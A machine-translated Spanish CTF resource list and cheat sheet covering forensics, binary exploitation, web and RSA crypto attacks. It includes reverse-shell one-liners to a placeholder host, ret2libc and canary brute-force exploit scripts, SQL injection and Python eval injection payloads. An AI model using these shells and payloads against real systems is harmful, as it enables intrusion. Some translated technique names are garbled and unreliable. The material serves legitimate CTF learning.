Una guía maestra para aprender sobre seguridad
Reseñas/archivos de algunos de los Cyber CTF que he realizado
También he incluido una lista de recursos de CTF , así como una hoja de referencia completa que cubre toneladas de desafíos comunes de CTF.
Nota
Ahora hay un espejo web de este repositorio en hackback.zip.
Tabla de contenido
Recursos
- YouTube (nos encantan los recursos de vídeo)
- Sitios de práctica/aprendizaje
- CTF
- General
- Pwn
- Rdo
- Web
- Cripto
- Contratos inteligentes
- Nube
- Pentesting
Hoja de trucos de CTF
- Forense / Esteganografía
- General
- Audio
- Imagen
- Video
- Imagen de la máquina
- Pcap
- Pwn / Explotación Binaria
- General
- Desbordamiento del búfer
- PIE (Ejecución Posicional Independiente)
- NX (no ejecutable)
- ROP (para binarios compilados estáticamente)
- pila canario
- Vulnerabilidades de cadenas de formato
- código shell
- Regreso a Liberc
- Ingeniería inversa
- Solucionadores SMT
- Revertir comprobaciones byte a byte
- Buscando cadenas con gef
- Web
- Campos de entrada difusos
- Cripto
ciberchef
Cifrados comunes
RSA
- Obtenga información RSA con pycryptodome
- Teorema chino del resto (p,q,e,c)
- Ataque de calderero (c,e)
- Ataque de trasmochos (n,e,c)
- Ataque salchicha (n,e,c)
Base16, 32, 36, 58, 64, 85, 91, 92
- Caja
- Conectando
- Enumeración
- Escalada de privilegios
- Escuche el shell inverso
- cáscara inversa
- Obtener shell interactivo
- OSINT
- Varios
Recursos
Canales de YouTube
- Juan Hammond
- Solía hacer muchos videos CTF, pero pasó a otras cosas.
- Todavía hay un montón de vídeos útiles. Los CTF son especialmente fantásticos para enseñar a personas nuevas en el ámbito cibernético.
- Desbordamiento en vivo
- Hace videos extremadamente interesantes y profundos sobre lo cibernético.
- Tiene una serie de pwn increíble.
- IppSec
- Realiza reseñas de cada máquina HackTheBox
- Habla sobre diferentes formas de resolver y por qué funcionan las cosas. Altamente recomendado
- informático
- La misma gente que Numberphile, pero más genial. Crea videos intuitivos y de nivel principiante sobre conceptos básicos.
- pwn.college
- Profesor de ASU que tiene toneladas de videos sobre pwn
- Material del curso guiado: https://pwn.college/
- Toneladas de problemas de práctica: https://dojo.pwn.college/
- Función Pwn
- Vídeos animados de muy alta calidad y fáciles de entender sobre diferentes temas.
- Los temas son un poco avanzados, pero fácilmente comprensibles.
- Martín Carlisle
- Realiza increíbles videos escritos sobre los desafíos de picoCTF.
- Sam Bowne
- Profesor del CCSF que abre todas sus conferencias y material de cursos en su sitio web
- UFSIT
- Equipo UF Cyber (soy un poco parcial, pero definitivamente defiendo uno de los mejores canales de YouTube para esto)
- Gynvaël
- Realiza reseñas en vídeo increíblemente intuitivas. Ha realizado todo el picoCTF 2019 (eso es mucho)
- Seguridad de la información de Black Hills
- Empresa de seguridad que produce una gran cantidad de contenido educativo.
- Siempre realizando cursos y webcasts gratuitos sobre temas de seguridad.
- aplastamiento de pilas
- Increíbles vídeos de ingeniería inversa y piratería de hardware
- Tiene una serie realmente genial de él haciendo ingeniería inversa en WannaCry.
- Ben Greenberg
- GMU prof con un montón de tutoriales en vídeo sobre pwn y malware
- Un poco desactualizado, pero sigue siendo bueno
- InfoSecLab en Georgia Tech
- Buenas y avanzadas conferencias en profundidad sobre pwn.
- Requiere algunos conocimientos previos
- RPISEC
- Reuniones del equipo de la Universidad RPI
- Muy avanzado y supone un poco de conocimiento previo de CS.
- Marrón mate
- Pentester de seguridad integrado
- Crea excelentes videos para principiantes sobre piratería de IoT
Negociaciones
Aquí hay algunas diapositivas que he reunido: hackback.zip/presentations
Sitios de práctica/aprendizaje
CTF
- PicoCTF
- Toneladas de increíbles desafíos de práctica.
- Definitivamente el estándar de oro para comenzar
- UCF
- Bueno en general, pero excelente práctica de pwn.
- Actualmente estoy trabajando para poner reseñas aquí.
- hacker101
- CTF, pero un poco más orientado al pentesting
- CSAW
- Cae el 90% del tiempo y normalmente ninguna de las conexiones funciona
- Sin embargo, si está activo, tiene muchos buenos desafíos introductorios.
- CTF101
- Una de las mejores introducciones a CTF que he visto (gj osiris)
- Muy conciso y apto para principiantes.
General
- hackearlacaja
- El sitio de la caja OG
- Las cajas están seleccionadas para garantizar la calidad.
- Ahora tiene algunos problemas de estilo CTF.
- Ahora tiene cursos para empezar a aprender.
- PruebaHackMe
- Cajas un poco más fáciles que HackTheBox
- Retos paso a paso
- Ahora tiene "rutas de aprendizaje" para guiarlo a través de temas.
- CybersecLabs
- Gran colección de cajas.
- Tiene algunas cosas de CTF
- VulnHub
- Tiene máquinas virtuales vulnerables que debe implementar usted mismo
- Mucha variedad, pero es difícil encontrar buenos.
Pwn
- pwnable.kr
- Desafíos con buen rango de dificultad.
- pwnable.tw
- Más difícil que pwnable.kr
- Tiene reseñas una vez que resuelves el desafío.
- pwnable.xyz
- Más desafíos de pwn
- Tiene reseñas una vez que resuelves el desafío.
- Puedes subir tus propios desafíos una vez que los resuelvas todos.
- dojo pwn
- La mejor colección de desafíos pwn en mi opinión.
- Respaldado con diapositivas que enseñan cómo hacerlo y tiene un discordia si necesita ayuda.
- pesadilla
- Estándar de oro para pwning de binarios C
- Tiene algunos errores/errores tipográficos, pero en general es sorprendente.
- notas pwn
- Notas de alguna persona al azar en línea
- Muy superficial, pero buena introducción a todo.
- Escuela de verano de seguridad
- Curso de seguridad de la Universidad de Bucarest
- Explicaciones muy amigables para principiantes.
- RPISEC MBE
- Curso de explotación binaria moderna de RPI
- Tiene una buena cantidad de laboratorios/proyectos para practicar y algunas conferencias (un poco anticuadas)
- cómo2montón
- Serie Heap Exploitation realizada por el equipo CTF de ASU
- Incluye una función de depuración muy interesante para mostrar cómo funcionan los exploits.
- CUERDAemporio
- Conjunto de desafíos en cada arquitectura importante que enseña programación orientada al retorno
- Muy alta calidad. Enseña desde las técnicas más básicas hasta las más avanzadas.
- Actualmente estoy agregando mis propios artículos aquí.
- Educación sobre la explotación de Phoenix
- Toneladas de problemas de explotación binaria ordenados por dificultad
- Incluye fuente y viene con una VM que tiene todos los binarios.
Rdo
- desafíos.re
- Tantos desafíos 0_0
- Toneladas de diversidad
- revertir.kr
- crackmes.uno
- Toneladas de desafíos al estilo crackme (CTF)
- Talleres de malware unicornio
- Talleres gratuitos sobre Ingeniería Inversa y Análisis de Malware
Web
- websec.fr
- Muchos desafíos web con un buen rango de dificultad.
- webhacking.kr
- Tiene un archivo de muchos buenos desafíos web.
- Seguridad de aplicaciones web
- Curso CCSF de código abierto
- Tienda de jugos OWASP
- Muy orientado al pentesting, pero útil para explorar la web en CTF
- Más de 100 vulnerabilidades/desafíos en total
- PuertoSwigger
- Estándar de oro para entender el hacking web
- Toneladas de increíbles desafíos y explicaciones.
- DVWA
- Muy orientado al pentesting, pero útil para explorar la web en CTF
- bWAPP
- Muy orientado al pentesting, pero útil para explorar la web en CTF
- Desafío CTF
- Colección de desafíos web creados por Adam Langley que están diseñados para ser lo más realistas posible.
- Bueno para obtener experiencia de recompensa de errores
Cripto
- CriptoHack
- Actualmente estoy trabajando para poner reseñas aquí.
- criptopales
- El sitio del desafío criptográfico OG.
- CriptoCTF
- CTF de criptografía anual. Años anteriores accesibles en
20{19,20,21,22,23,24}.cr.yp.toc.tf
.
Contratos inteligentes
Nube
- NubeFoxable
- Le guiará en la configuración de un entorno vulnerable para explotarlo mediante Cloudfox.
- defectos.nube
- Desafíos gratuitos que implican encontrar secretos en S3, EC2 y Lambda
Pentesting
- hacker101
- explicaciones
- Explotar el desarrollo
- Curso CCSF de código abierto
- Introducción a la seguridad
- Curso de UC San Diego impartido por Deian Stefan
- Cubre pwn y crypto básicos
- Hoja de referencia de Active Directory
- WADComs
- Hoja de trucos interactiva para entornos Windows/AD
- LOLBÁS
- Hoja de referencia interactiva para binarios, scripts y bibliotecas de explotación de Windows "Living off the land"
- GTFOBins
- Hoja de trucos interactiva para las técnicas de Linux "Vivir de la tierra".
Hoja de trucos de CTF
Forense / Esteganografía
General
- AperiResolver
- Herramienta que ejecuta automáticamente otras herramientas stego
- Muy buen recurso de John Hammond para diferentes tipos de desafíos:
- https://github.com/JohnHammond/ctf-katana
- Otra excelente hoja de trucos para crear y resolver desafíos:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- archivo
-
file <file.xyz>
- Determina el tipo de archivo.
- esteghide
-
steghide extract -sf <file.xyz>
- Extrae archivos incrustados
- estegseek
-
stegseek <file> <password list>
- Extrae archivos incrustados usando una lista de palabras
- súper súper rápido
- binwalk
-
binwalk -M --dd=".*" <file.xyz>
- Extrae archivos incrustados
- exiftool
-
exiftool <file.xyz>
- Lee metadatos
- instrumentos de cuerda
-
strings <file.xyz>
- Encuentra todos los caracteres imprimibles en un archivo
- edición hexadecimal
-
hexedit <file.xyz>
- Es posible que tengas que cambiar la firma del archivo en algunas imágenes para que se abran.
- Lista de firmas de archivos comunes
- Ghex (otro editor hexadecimal pero con GUI. Bueno si necesitas saltar a un byte determinado)
- Los archivos docx son contenedores, por lo que puedes descomprimirlos para encontrar contenido oculto.
- Grep: una buena forma de utilizar grep para encontrar la bandera de forma recursiva:
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- Puedes cambiar 'picoCTF' al comienzo de la bandera que estás buscando
- Ltrace: le permite ver qué hace el código mientras ejecuta el programa:
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace acorta cuerdas muy largas. Puede usar -s para aumentar la cantidad de caracteres que muestra ltrace. Bueno para mirar strcmp que tienen cadenas grandes.
Audio
Audio de la máquina de fax:
Audio SSTV (televisión de escaneo lento) (cosas de la luna)
- Ejemplo
- Descifrador
- Decodificador alternativo
- Utilice estas configuraciones de qsstv:
Imagen de espectrograma
Cambiar tono, velocidad, dirección...
- Tono, velocidad, afinación
- Contrarrestar
Teclas de teléfono DTMF (frecuencia múltiple de doble tono)
-
multimon-ng -a DTMF -t wav <file.wav>
- Tenga en cuenta que estas podrían permitirme tocar letras varias veces.
- Esto puede decodificar los números en texto.
Cinta de casete
- Ejemplo
- Decodificador (wav para tocar archivos)
código morse
Imagen
Video
Imagen de la máquina
- Recuperando archivos
- Puedes montar una imagen como una máquina virtual.
- https://habr.com/es/post/444940/
- Montar un archivo
.img
:-
binwalk -M --dd=".*" <fileName>
- ejecute
file
en la salida y seleccione el archivo del sistema de archivos de Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
Pcap
- Extraer datos con tcpflow
- Extraer datos con Wirehark
- Archivo → Exportar objetos → Hacer selección
Pwn / Explotación Binaria
- Para este, sugiero mirar mi repositorio LearnPwn, ya que esta hoja de referencia se creó antes de que supiera mucho sobre pwn.
- Sin embargo, he incluido algunas notas que modifican lo que tengo aquí.
General
- comprobar la seguridad de ELF
-
checksec <binary>
-
rabin2 -I <binary>
- comprobar la seguridad de PE
- verificación-de-seguridad-binaria
-
binary-security-check <bin>.exe
- comprobar seccomp bpf
- herramientas-seccomp
-
seccomp-tools dump ./<binary>
- mira los símbolos
- mira las cuerdas
- empaquetar dirección a byte
- little endian (para 32 bits)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (para 64 bits)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools empaqueta automáticamente direcciones con el endianness correcto para usted
Desbordamiento del búfer
- Si alguna vez necesita obtener un shell /bin/sh y está seguro de que funciona pero el programa se cierra de todos modos, use este truco:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools hace esto con su
process.interactive()
PIE (Ejecución Posicional Independiente)
- determinar el valor aleatorio
-
pwn cyclic <numChars>
para generar carga útil -
dmesg | tail | grep segfault
para ver dónde estaba el error -
pwn cyclic -l 0x<errorLocation>
para ver el desplazamiento aleatorio para controlar el puntero de instrucción - ejemplo
NX (no ejecutable)
- Podemos usar ROP (programación orientada al retorno) para resolver
ROP (para binarios compilados estáticamente)
- ROPGadget
- ver gadgets y generar ropchains automáticamente
-
ROPgadget --ropchain --binary <binary>
- Luego puede agregar relleno al comienzo del código (según la diferencia entre su búfer y la dirección de retorno) y ejecutar el código para obtener un shell.
- Manifestación
- ropr
pila canario
Encontrar el canario de pila en un depurador
- El valor canario de pila es un valor colocado antes del EIP/RIP (puntero de instrucción) que puede sobrescribirse por un desbordamiento del búfer. El programa causa un error básicamente si la pila se sobrescribe con algo diferente de lo que era originalmente. Nuestro objetivo es encontrar la pila original para que cuando nos desbordemos, el programa se ejecute normalmente.
- El canario de pila se toma de
gs
o fs
(para 32 y 64 bits respectivamente)- En el desmontaje, antes de leer algo, se puede ver una línea similar a la siguiente:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Aquí, el canario de pila se mueve a
rax
con un desplazamiento de +8.- Por lo tanto, interrumpa en el siguiente desplazamiento y verifique qué hay en rax (
ir rax
) para ver cuál es el canario actual
Canarias estáticas
- Un canario solo es estático si fue implementado manualmente por el programador (como es el caso en algunos desafíos de introducción de pwn), o si puedes bifurcar el programa.
- Cuando bifurcas el binario, el bifurcado tiene el mismo canario, por lo que puedes hacer una fuerza bruta byte por byte en eso.
Extra
Cuando un valor controlado de pila se sobrescribe incorrectamente, provocará una llamada a __stack_chk_fail
- Si no podemos filtrar el canario, también podemos modificar la tabla GOT para evitar que se llame.
El canario se almacena en la estructura TLS
de la pila actual y se inicializa mediante security_init
- Si puede sobrescribir el valor canario real, puede establecerlo igual a lo que decida desbordar.
Script simple para aplicar fuerza bruta a un canario estático de 4 bytes:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
Vulnerabilidades de cadenas de formato
- Mire la Tabla 2 para saber qué probar si ve "printf(buf)" o algo así:
- https://owasp.org/www-community/attacks/Format_string_attack
- Recomiendo encarecidamente ver a John Hammond haciendo el desafío 'echooo' de picoCTF 2018
- A veces, intentar imprimir solo cadenas de la pila como esta: '%s %s %s %s %s %s' puede causar errores ya que no todo lo que hay en la pila es una cadena.
- Intente minimizar eso haciendo '%x %x %x %x %x %s' en su lugar
- En lugar de tener que aumentar constantemente la cantidad de %x y %s que escribes, puedes pasar un parámetro para hacerlo más fácil:
-
%1$s
: esto imprimirá el primer valor de la pila (según tengo entendido, el que está justo al lado de su búfer) como una cadena. -
%2$s
: esto imprimirá el segundo valor como una cadena y ya entiendes la idea. - Puede utilizar bucles de una sola línea para intentar encontrar la bandera filtrando la pila. Presione ^C (CTRL + C) para ir al siguiente valor.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Puedes controlar cuánto filtras usando diferentes parámetros de tamaño:
-
%hhx
pierde 1 byte (la mitad de la mitad del tamaño int) -
%hx
pierde 2 bytes (la mitad del tamaño int) -
%x
pierde 4 bytes (tamaño int) -
%lx
pierde 8 bytes (tamaño largo)
- muy buen video sobre cómo modificar la pila con fstring vuln y %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
código shell
- Buen sitio web para encontrar diferentes shellcode:
- http://shell-storm.org/shellcode/
Regreso a Liberc
Sobrescribiremos el EIP para llamar a la función de biblioteca system() y también pasaremos lo que debe ejecutar, en este ejemplo un buffer con "/bin/sh"
Buena explicación:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Buen ejemplo (vaya a 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Obtener dirección para execve("/bin/sh")
Si ya conoce el archivo libc y una ubicación (es decir, no tiene que filtrarlos...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
Ingeniería inversa
Guía interesante: https://opensource.com/article/20/4/linux-binary-analysis
- Ghidra
- dotPeek o dnSpy
- descompilar ejecutables .NET
- jadx y jadx-gui
- zona de herramientas de desarrollo
- descompilar java en línea
- flor de edredón
- Descompilador java avanzado basado en terminal
- herramienta apk
- descompilar apks
-
apktool d *.apk
- gdb
- Análisis binario
- peda (extensión para mayor funcionalidad)
- gef (extensión gdb para pwners)
- radare2
- SEDA FLOJA
-
strings
con esteroides. Utiliza análisis estático para buscar y calcular cadenas.
Solucionadores SMT
Revertir comprobaciones byte a byte (ataque de canal lateral)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Aquí hay una versión que hice para un desafío que utiliza un ataque basado en el tiempo:
- Es posible que tengas que ejecutarlo un par de veces solo para tener en cuenta la aleatoriedad.
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
Buscando cadenas con gef
- Si su bandera se lee en una variable o registro en cualquier momento, puede interrumpirla después de moverla y ejecutar
grep <string>
y gef le mostrará automáticamente la cadena que coincide con su patrón de búsqueda.
Web
- Nikto (si está permitido)
- busca automáticamente vulnerabilidades
- gobuster (si está permitido)
- Directorios y archivos de fuerzas brutas.
- hidra (si está permitido)
- Inicios de sesión por fuerza bruta para varios servicios
- BurpSuite
- Intercepta solicitudes web y le permite modificarlas
- Wireshark
- Analice el tráfico de red en vivo y los archivos pcap
- shell inverso de php
- Útil para sitios web que le permiten cargar archivos
- Este archivo debe ejecutarse en el servidor para funcionar.
- WPScan
- Escanear sitios web de WordPress
- Utilice
wpscan --url <site> --plugins-detection mixed -e
con una clave API para obtener mejores resultados
- jwt
- Puede identificar un token JWT ya que el json codificado en base64 (y, por lo tanto, los tokens jwt) comienza con "ey"
- Este sitio decodificará tokens web JSON
- Puedes descifrar el secreto del token web JSON para modificar y firmar tus propios tokens
-
echo <token> > jwt.txt
-
john jwt.txt
- inyección SQL
- mapa sql
-
sqlmap --forms --dump-all -u <url>
- Automatiza el proceso de inyección SQL.
- Inyección SQL básica
- Ingrese
'OR 1=1--
en el formulario de inicio de sesión - En el servidor, esto se evaluará como
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
-
1=1
se evalúa como verdadero, lo que satisface la declaración OR
, y el resto de la consulta es comentado por --
- Cargas útilesTodas las cosas
- Gran recurso para la explotación web con muchas cargas útiles.
- Inyección de plantilla
- tplmapa
- Inyección automatizada de plantillas del lado del servidor
- Inyección de Jinja
- Inyección de matraz
- Función de evaluación de Python ()
-
__import__.('subprocess').getoutput('<command>')
- asegúrese de cambiar los paréntesis si no funciona
-
__import__.('subprocess').getoutput('ls').split('\n')
- listar archivos en el sistema
- Más inyección de Python
- Secuencias de comandos entre sitios
- Evaluador del PSIC
- Evaluador de políticas de seguridad de contenidos de Google
Campos de entrada difusos
- FUFUF
- Copie la solicitud en el campo de entrada y reemplace el parámetro con "FUZZ":
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Utilice
-fs
para filtrar tamaños
Cripto
ciberchef
- ciberchef
- Realiza diversas operaciones de criptografía.
Detector de cifrado
hashes
- hashid
- Utilidad de línea de comandos para detectar el tipo de hash
Cifrados comunes
- Cifrado César
- Cifrado Vigenère
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- Cifrado de sustitución
- podredumbre13
- Cifrado Caesars con clave
RSA
Obtenga información RSA con pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
Teorema chino del resto (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- Sitio web que da factores y totient de Euler (phi)
- https://www.alpertron.com.ar/ECM.HTM
Ataque de calderero (c,e)
- Generalmente se usa si el exponente es muy pequeño (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
Ataque de trasmochos (n,e,c)
- Basado en el método de factorización de Pollard, que hace que los productos de números primos sean fáciles de factorizar si son (B)suaves
- Este es el caso si
p-1 | B!
y q - 1
tiene un factor > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
Ataque salchicha (n,e,c)
- Para usar cuando d es demasiado pequeño (o e es demasiado grande)
- Usando este módulo de Python
- Prueba
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Base16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Caja
Conectando
- ssh
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- Monte SSH como un sistema de archivos localmente:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Anfitriones conocidos
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- netcat
Enumeración
Descubrimiento de máquinas
Escaneo de puertos de máquina
enumeración de Linux
Enumeración de PYMES
Conéctese al recurso compartido SMB
Escalada de privilegios
- linpes
-
./linpeas.sh
- Busca automáticamente vectores de escalada de privilegios
- Lista de comandos que podemos ejecutar como root
- Encuentra archivos con el permiso SUID
-
find / -perm -u=s -type f 2>/dev/null
- Estos archivos se ejecutan con los privilegios del propietario en lugar de que el usuario los ejecute.
- Buscar permisos para todos los servicios
-
accesschk.exe -uwcqv *
- Busque servicios que no estén en las cuentas del sistema o del administrador.
- Servicio de consulta
-
sc qc <service name>
- Sólo funciona en cmd.exe
Escuche el shell inverso
cáscara inversa
- revshells.com
- plantillas para básicamente todo lo que puedas necesitar
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Obtener shell interactivo
linux
- Ejecute el siguiente comando de Python para hacerlo parcialmente interactivo:
python -c 'import pty;pty.spawn("/bin/bash");'
- Salga de la sesión de netcat con
CTRL+Z
y ejecute stty raw -echo
localmente - Vuelva a ingresar a su sesión con el comando
fg
(y luego la identificación del trabajo si es necesario) - Cambie su emulador de terminal a xterm ejecutando
export TERM=xterm
(esto puede no ser necesario) - Cambie su shell a bash ejecutando
export SHELL=bash
(puede que esto no sea necesario) - ¡Hecho! Ahora tu shell debería ser completamente interactivo.
Ventanas/Generales
- Instale
rlwrap
en su sistema - Ahora, cada vez que ejecutes un oyente nc, simplemente coloca
rlwrap
delante - Por ejemplo:
rlwrap nc -lvnp 1337
- Esto le proporcionará teclas de flecha e historial de comandos, pero no le permitirá completar automáticamente (hasta donde yo sé) para sistemas Windows y *nix.
OSINT
- pimeyes
- Caras de búsqueda inversa en internet.
- Marco OSINT
- Sitio web que agrega toneladas de herramientas OSINT
- GeoSpy AI
- LLM de visión geoespacial que puede estimar la ubicación solo a partir de una imagen
- paso elevado turbo
- Sitio web que te permite consultar la API de OpenStreetMap y visualizar resultados
- Búsqueda OSM de Bellingcat
- Sitio web que le permite consultar fácilmente la API de OSM
Varios